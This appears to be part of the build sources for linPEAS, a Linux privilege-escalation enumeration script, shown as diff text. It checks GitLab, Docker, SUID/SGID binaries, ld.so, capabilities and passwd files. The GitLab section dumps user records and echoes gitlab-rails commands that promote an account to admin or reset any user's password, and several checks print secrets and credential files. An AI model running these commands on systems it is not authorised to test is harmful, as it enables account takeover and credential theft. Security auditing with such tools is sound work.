if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching GitLab related files"
|
||||
# Check gitlab-rails
|
||||
if [ "$(command -v gitlab-rails)" ]; then
|
||||
echo "gitlab-rails was found. Trying to dump users..."
|
||||
gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED},"
|
||||
echo "If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'"
|
||||
echo "Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'"
|
||||
echo ""
|
||||
fi
|
||||
if [ "$(command -v gitlab-backup)" ]; then
|
||||
echo "If you have enough privileges, you can create a backup of all the repositories inside gitlab using 'gitlab-backup create'"
|
||||
echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'"
|
||||
echo ""
|
||||
fi
|
||||
# Check gitlab files
|
||||
printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do
|
||||
if echo $f | grep -q secrets.yml; then
|
||||
echo "Found $f" | sed "s,$f,${SED_RED},"
|
||||
cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#"
|
||||
elif echo $f | grep -q gitlab.yml; then
|
||||
echo "Found $f" | sed "s,$f,${SED_RED},"
|
||||
cat "$f" | grep -A 4 "repositories:"
|
||||
elif echo $f | grep -q gitlab.rb; then
|
||||
echo "Found $f" | sed "s,$f,${SED_RED},"
|
||||
cat "$f" | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,email|user|password,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
peass{Github}
|
||||
|
||||
peass{Svn}
|
||||
|
||||
peass{PGP-GPG}
|
||||
|
||||
peass{Cache Vi}
|
||||
|
||||
peass{Wget}
|
||||
|
||||
##-- SI) containerd installed
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
containerd=$(command -v ctr)
|
||||
if [ "$containerd" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Checking if containerd(ctr) is available"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
|
||||
if [ "$containerd" ]; then
|
||||
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||
ctr image list 2>&1
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- SI) runc installed
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
runc=$(command -v runc)
|
||||
if [ "$runc" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Checking if runc is available"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
|
||||
if [ "$runc" ]; then
|
||||
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
#-- SI) Docker
|
||||
if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching docker files (limit 70)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation"
|
||||
printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do
|
||||
ls -l "$f" 2>/dev/null
|
||||
if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then
|
||||
echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
peass{Kubernetes}
|
||||
|
||||
peass{Firefox}
|
||||
|
||||
peass{Chrome}
|
||||
|
||||
peass{Autologin}
|
||||
|
||||
#-- SI) S/Key athentication
|
||||
if (grep auth= /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q skey) || [ "$DEBUG" ] ; then
|
||||
print_2title "S/Key authentication"
|
||||
printf "System supports$RED S/Key$NC authentication\n"
|
||||
if ! [ -d /etc/skey/ ]; then
|
||||
echo "${GREEN}S/Key authentication enabled, but has not been initialized"
|
||||
elif ! [ "$IAMROOT" ] && [ -w /etc/skey/ ]; then
|
||||
echo "${RED}/etc/skey/ is writable by you"
|
||||
ls -ld /etc/skey/
|
||||
else
|
||||
ls -ld /etc/skey/ 2>/dev/null
|
||||
fi
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- SI) YubiKey athentication
|
||||
if (grep "auth=" /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q yubikey) || [ "$DEBUG" ]; then
|
||||
print_2title "YubiKey authentication"
|
||||
printf "System supports$RED YubiKey$NC authentication\n"
|
||||
if ! [ "$IAMROOT" ] && [ -w /var/db/yubikey/ ]; then
|
||||
echo "${RED}/var/db/yubikey/ is writable by you"
|
||||
ls -ld /var/db/yubikey/
|
||||
else
|
||||
ls -ld /var/db/yubikey/ 2>/dev/null
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
peass{SNMP}
|
||||
|
||||
peass{Pypirc}
|
||||
|
||||
peass{Postfix}
|
||||
|
||||
peass{Ldaprc}
|
||||
|
||||
peass{Env}
|
||||
|
||||
peass{Msmtprc}
|
||||
|
||||
peass{Keepass}
|
||||
|
||||
peass{FTP}
|
||||
|
||||
peass{EXTRA_SECTIONS}
|
||||
|
||||
peass{Interesting logs}
|
||||
|
||||
peass{Windows}
|
||||
|
||||
peass{Other Interesting}
|
||||
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||
print_2title "Checking leaks in git repositories"
|
||||
printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do
|
||||
if echo "$f" | grep -Eq ".git$"; then
|
||||
git_dirname=$(dirname "$f")
|
||||
if [ "$MACPEAS" ]; then
|
||||
execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
|
||||
else
|
||||
execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
491
linPEAS/builder/linpeas_parts/8_interesting_perms_files.sh
Normal file
491
linPEAS/builder/linpeas_parts/8_interesting_perms_files.sh
Normal file
@@ -0,0 +1,491 @@
|
||||
###########################################
|
||||
#-) Files with Interesting Permissions (-#
|
||||
###########################################
|
||||
|
||||
check_critial_root_path(){
|
||||
folder_path="$1"
|
||||
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
##-- IPF) SUID
|
||||
print_2title "SUID - Check easy privesc, exploits and write perms"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||
if ! [ "$STRINGS" ]; then
|
||||
echo_not_found "strings"
|
||||
fi
|
||||
if ! [ "$STRACE" ]; then
|
||||
echo_not_found "strace"
|
||||
fi
|
||||
suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||
for s in $suids_files; do
|
||||
s=$(ls -lahtr "$s")
|
||||
# If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||
if echo "$s" | grep -qE "^total"; then break; fi
|
||||
|
||||
sname="$(echo $s | awk '{print $9}')"
|
||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||
true # Don't do nothing
|
||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits)
|
||||
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
c="a"
|
||||
for b in $sidB; do
|
||||
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
|
||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||
c=""
|
||||
break;
|
||||
fi
|
||||
done;
|
||||
if [ "$c" ]; then
|
||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
|
||||
printf $ITALIC
|
||||
if ! [ "$FAST" ]; then
|
||||
|
||||
if [ "$STRINGS" ]; then
|
||||
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
|
||||
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
|
||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path
|
||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||
fi
|
||||
else #If not a path
|
||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then # Check if existing binary
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$LDD" ] || [ "$READELF" ]; then
|
||||
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
|
||||
fi
|
||||
if [ "$LDD" ]; then
|
||||
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
if [ "$READELF" ]; then
|
||||
"$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
|
||||
if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
|
||||
printf $ITALIC
|
||||
echo "----------------------------------------------------------------------------------------"
|
||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
|
||||
export LD_LIBRARY_PATH=""
|
||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||
printf $NC
|
||||
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
|
||||
echo "----------------------------------------------------------------------------------------"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done;
|
||||
echo ""
|
||||
|
||||
|
||||
##-- IPF) SGID
|
||||
print_2title "SGID"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||
sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||
for s in $sgids_files; do
|
||||
s=$(ls -lahtr "$s")
|
||||
# If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||
if echo "$s" | grep -qE "^total";then break; fi
|
||||
|
||||
sname="$(echo $s | awk '{print $9}')"
|
||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||
true #Don't do nothing
|
||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits)
|
||||
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
c="a"
|
||||
for b in $sidB; do
|
||||
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
|
||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||
c=""
|
||||
break;
|
||||
fi
|
||||
done;
|
||||
if [ "$c" ]; then
|
||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
|
||||
printf $ITALIC
|
||||
if ! [ "$FAST" ]; then
|
||||
|
||||
if [ "$STRINGS" ]; then
|
||||
$STRINGS "$sname" | sort | uniq | while read sline; do
|
||||
sline_first="$(echo $sline | cut -d ' ' -f1)"
|
||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path
|
||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
|
||||
fi
|
||||
else # If not a path
|
||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then # Check if existing binary
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$LDD" ] || [ "$READELF" ]; then
|
||||
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
|
||||
fi
|
||||
if [ "$LDD" ]; then
|
||||
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
if [ "$READELF" ]; then
|
||||
"$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
|
||||
if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
|
||||
printf "$ITALIC"
|
||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||
printf "$NC"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done;
|
||||
echo ""
|
||||
|
||||
##-- IPF) Misconfigured ld.so
|
||||
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
|
||||
print_2title "Checking misconfigurations of ld.so"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so"
|
||||
if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then
|
||||
echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED$ITALIC"/etc/ld.so.conf\n"$NC;
|
||||
else
|
||||
printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC;
|
||||
fi
|
||||
|
||||
echo "Content of /etc/ld.so.conf:"
|
||||
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
|
||||
# Check each configured folder
|
||||
cat /etc/ld.so.conf 2>/dev/null | while read l; do
|
||||
if echo "$l" | grep -q include; then
|
||||
ini_path=$(echo "$l" | cut -d " " -f 2)
|
||||
fpath=$(dirname "$ini_path")
|
||||
|
||||
if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then
|
||||
echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED_YELLOW$ITALIC"$fpath\n"$NC;
|
||||
else
|
||||
printf $GREEN$ITALIC"$fpath\n"$NC;
|
||||
fi
|
||||
|
||||
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then
|
||||
echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
fi
|
||||
|
||||
for f in $fpath/*; do
|
||||
if [ -w "$f" ]; then
|
||||
echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED_YELLOW$ITALIC"$f\n"$NC;
|
||||
else
|
||||
printf $GREEN$ITALIC" $f\n"$NC;
|
||||
fi
|
||||
|
||||
cat "$f" | grep -v "^#" | while read l2; do
|
||||
if [ -f "$l2" ] && [ -w "$l2" ]; then
|
||||
echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
printf $RED_YELLOW$ITALIC" - $l2\n"$NC;
|
||||
else
|
||||
echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g";
|
||||
fi
|
||||
done
|
||||
done
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
|
||||
if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then
|
||||
echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
else
|
||||
printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC;
|
||||
fi
|
||||
cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
cat /etc/ld.so.preload 2>/dev/null | while read l; do
|
||||
if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
done
|
||||
|
||||
fi
|
||||
|
||||
##-- IPF) Capabilities
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||
if [ "$(command -v capsh)" ]; then
|
||||
|
||||
print_3title "Current shell capabilities"
|
||||
cat "/proc/$$/status" | grep Cap | while read -r cap_line; do
|
||||
cap_name=$(echo "$cap_line" | awk '{print $1}')
|
||||
cap_value=$(echo "$cap_line" | awk '{print $2}')
|
||||
if [ "$cap_name" = "CapEff:" ]; then
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
|
||||
else
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
print_3title "Parent process capabilities"
|
||||
cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do
|
||||
cap_name=$(echo "$cap_line" | awk '{print $1}')
|
||||
cap_value=$(echo "$cap_line" | awk '{print $2}')
|
||||
if [ "$cap_name" = "CapEff:" ]; then
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
|
||||
else
|
||||
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
else
|
||||
print_3title "Current shell capabilities"
|
||||
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
|
||||
echo ""
|
||||
|
||||
print_3title "Parent proc capabilities"
|
||||
(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
|
||||
echo ""
|
||||
fi
|
||||
echo ""
|
||||
echo "Files with capabilities (limited to 50):"
|
||||
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
|
||||
capsVB_vuln=""
|
||||
|
||||
for capVB in $capsVB; do
|
||||
capname="$(echo $capVB | cut -d ':' -f 1)"
|
||||
capbins="$(echo $capVB | cut -d ':' -f 2)"
|
||||
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
|
||||
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
capsVB_vuln="1"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if ! [ "$capsVB_vuln" ]; then
|
||||
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
|
||||
fi
|
||||
|
||||
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
|
||||
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Users with capabilities
|
||||
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Users with capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||
if [ -f "/etc/security/capability.conf" ]; then
|
||||
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
else echo_not_found "/etc/security/capability.conf"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) AppArmor profiles to prevent suid/capabilities abuse
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
|
||||
print_2title "AppArmor binary profiles"
|
||||
ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IPF) Files with ACLs
|
||||
print_2title "Files with ACLs (limited to 50)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
else
|
||||
( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
fi
|
||||
|
||||
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
|
||||
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
##-- IPF) Files with ResourceFork
|
||||
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
|
||||
# print_2title "Files with ResourceFork"
|
||||
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
|
||||
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
#fi
|
||||
#echo ""
|
||||
|
||||
##-- IPF) Files (scripts) in /etc/profile.d/
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Files (scripts) in /etc/profile.d/"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
|
||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
|
||||
check_critial_root_path "/etc/profile"
|
||||
check_critial_root_path "/etc/profile.d/"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IPF) Files (scripts) in /etc/init.d/
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Permissions in init, init.d, systemd, and rc.d"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
|
||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||
check_critial_root_path "/etc/init/"
|
||||
check_critial_root_path "/etc/init.d/"
|
||||
check_critial_root_path "/etc/rc.d/init.d"
|
||||
check_critial_root_path "/usr/local/etc/rc.d"
|
||||
check_critial_root_path "/etc/rc.d"
|
||||
check_critial_root_path "/etc/systemd/"
|
||||
check_critial_root_path "/lib/systemd/"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
|
||||
##-- IPF) Hashes in passwd file
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_list "Hashes inside passwd file? ........... "
|
||||
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Writable in passwd file
|
||||
print_list "Writable passwd file? ................ "
|
||||
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Credentials in fstab
|
||||
print_list "Credentials in fstab/mtab? ........... "
|
||||
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IPF) Read shadow files
|
||||
